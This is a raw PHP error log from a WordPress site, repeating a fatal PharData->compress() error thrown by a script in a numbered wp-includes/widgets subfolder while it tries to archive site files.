[04-Nov-2025 17:07:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:08:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:08:29 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:12:01 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:12:07 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:12:08 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:12:09 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:12:10 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:12:13 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:12:20 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:12:21 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:12:23 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:13:02 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:13:04 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/fonts.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:13:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:15:35 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Core.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:15:39 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:20:07 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/src.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:20:35 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:21:34 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:21:46 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Exception.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:26:50 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:26:56 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:27:02 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:36:00 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:36:02 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:36:10 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/view.asset.php.asset.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:36:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:36:12 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/view.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:36:29 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:36:43 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:39:03 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/Redis.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:42:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:42:16 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:47:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/shortcode.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 17:52:20 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 18:04:04 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 18:08:31 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 18:08:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 18:08:36 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 18:08:39 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 18:08:40 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 18:08:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/theme.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 18:10:21 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/error_log.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 18:15:50 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/rss.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 18:36:20 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/block.json.json.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 18:36:22 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style-rtl.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 18:36:23 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.min.css.min.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 18:36:25 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[04-Nov-2025 18:36:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/editor.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
